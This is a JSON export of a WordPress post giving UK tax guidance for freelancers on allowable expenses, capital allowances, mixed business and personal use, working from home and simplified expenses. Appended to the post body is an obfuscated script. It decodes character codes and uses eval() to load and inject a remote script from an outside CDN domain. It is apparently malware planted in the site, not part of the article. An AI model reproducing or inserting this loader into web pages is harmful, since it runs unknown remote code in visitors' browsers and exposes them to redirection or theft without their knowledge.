{"id":5674,"date":"2023-06-09T10:54:39","date_gmt":"2023-06-09T10:54:39","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/freelance-expenses-what-costs-can-you-claim-for\/"},"modified":"2023-06-09T10:54:39","modified_gmt":"2023-06-09T10:54:39","slug":"freelance-expenses-what-costs-can-you-claim-for","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/freelance-expenses-what-costs-can-you-claim-for\/","title":{"rendered":"Freelance Expenses: What costs can you claim for?"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/freelance-expenses-what-costs-can-you-claim-for\/#Costs_you_can_claim_as_allowable_expenses\" title=\"Costs you can claim as allowable expenses\">Costs you can claim as allowable expenses<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/freelance-expenses-what-costs-can-you-claim-for\/#Costs_you_can_claim_as_capital_allowances\" title=\"Costs you can claim as capital allowances\">Costs you can claim as capital allowances<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/freelance-expenses-what-costs-can-you-claim-for\/#If_you_use_something_for_both_business_and_personal_reasons\" title=\"If you use something for both business and personal reasons\">If you use something for both business and personal reasons<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/freelance-expenses-what-costs-can-you-claim-for\/#Simplified_expenses\" title=\"Simplified expenses\">Simplified expenses<\/a><\/li><\/ul><\/nav><\/div>\n<p>If you\u2019re self-employed, your business will have various running costs. You can deduct some of these costs to work out your taxable profit as long as they\u2019re allowable expenses.<\/p>\n<div class=&quot;example&quot;>\n<p><strong>Example<\/strong>Your turnover is \u00a340,000, and you claim \u00a310,000 in allowable expenses. You only pay tax on the remaining \u00a330,000 &#8211; known as your taxable profit.<\/p>\n<\/div>\n<p>Allowable expenses don\u2019t include money taken from your business to pay for private purchases.<\/p>\n<div class=&quot;application-notice info-notice&quot;>\n<p>If you run your own limited company you can deduct any business costs from your profits before tax. You must report any item you make personal use of as a company benefit.<\/p>\n<\/div>\n<h2><span class=\"ez-toc-section\" id=\"Costs_you_can_claim_as_allowable_expenses\"><\/span>Costs you can claim as allowable expenses<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>These include:<\/p>\n<ul>\n<li>office costs, eg stationery or phone bills<\/li>\n<li>travel costs, eg fuel, parking, train or bus fares<\/li>\n<li>clothing expenses, eg uniforms<\/li>\n<li>staff costs, eg salaries or subcontractor costs<\/li>\n<li>things you buy to sell on, eg stock or raw materials<\/li>\n<li>financial costs, eg insurance or bank charges<\/li>\n<li>costs of your business premises, eg heating, lighting, business rates<\/li>\n<li>advertising or marketing, eg website costs<\/li>\n<\/ul>\n<div class=&quot;application-notice info-notice&quot;>\n<p>Contact the Self Assessment helpline if you\u2019re not sure whether a business cost is an allowable expense.<\/p>\n<\/div>\n<h2><span class=\"ez-toc-section\" id=\"Costs_you_can_claim_as_capital_allowances\"><\/span>Costs you can claim as capital allowances<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>If you use traditional accounting, claim capital allowances when you buy something you keep to use in your business, eg:<\/p>\n<ul>\n<li>equipment<\/li>\n<li>machinery<\/li>\n<li>business vehicles, eg cars, vans, lorries<\/li>\n<\/ul>\n<h3>If you use cash basis<\/h3>\n<p>If you use cash basis accounting and buy a car for your business, you can claim this as a capital allowance. However, all other items you buy and keep for your business should be claimed as expenses in the normal way.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"If_you_use_something_for_both_business_and_personal_reasons\"><\/span>If you use something for both business and personal reasons<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>You can only claim allowable expenses for the business costs.<\/p>\n<div class=&quot;example&quot;>\n<p><strong>Example<\/strong>Your mobile phone bills for the year total \u00a3200. Of this, you spend \u00a3130 on personal calls and \u00a370 on business.<\/p>\n<p>You can claim for \u00a370 of business expenses.<\/p>\n<\/div>\n<h3>If you work from home<\/h3>\n<p>You may be able to claim a proportion of your costs for things like:<\/p>\n<ul>\n<li>heating<\/li>\n<li>electricity<\/li>\n<li>Council Tax<\/li>\n<li>mortgage interest<\/li>\n<li>internet and telephone use<\/li>\n<\/ul>\n<p>You\u2019ll need to find a reasonable method of dividing your costs, eg by the number of rooms you use for business or the amount of time you spend working from home.<\/p>\n<div class=&quot;example&quot;>\n<p><strong>Example<\/strong>You have 4 rooms in your home, one of which you use only as an office.<\/p>\n<p>Your electricity bill for the year is \u00a3400. Assuming all the rooms in your home use equal amounts of electricity, you can claim \u00a3100 as allowable expenses (\u00a3400 divided by 4).<\/p>\n<p>If you worked only one day a week from home, you could claim \u00a314.29 as allowable expenses (\u00a3100 divided by 7).<\/p>\n<\/div>\n<h2><span class=\"ez-toc-section\" id=\"Simplified_expenses\"><\/span>Simplified expenses<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>You can avoid using complex calculations to work out your business expenses by using simplified expenses. Simplified expenses are flat rates that can be used for:<\/p>\n<ul>\n<li>vehicles<\/li>\n<li>working from home<\/li>\n<li>living on your business premises<\/li>\n<\/ul>\n<footer>\n<nav class=&quot;pagination&quot;>\n<li class=&quot;next&quot;><\/li>\n<\/nav>\n<\/footer>\n<p><script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>If you\u2019re self-employed, your business will have various running costs. You can deduct some of these costs to work out your taxable profit as long as they\u2019re allowable expenses. ExampleYour turnover is \u00a340,000, and you claim \u00a310,000 in allowable expenses. You only pay tax on the remaining \u00a330,000 &#8211; known as your taxable profit. Allowable [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-5674","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/5674"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=5674"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/5674\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=5674"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=5674"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=5674"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}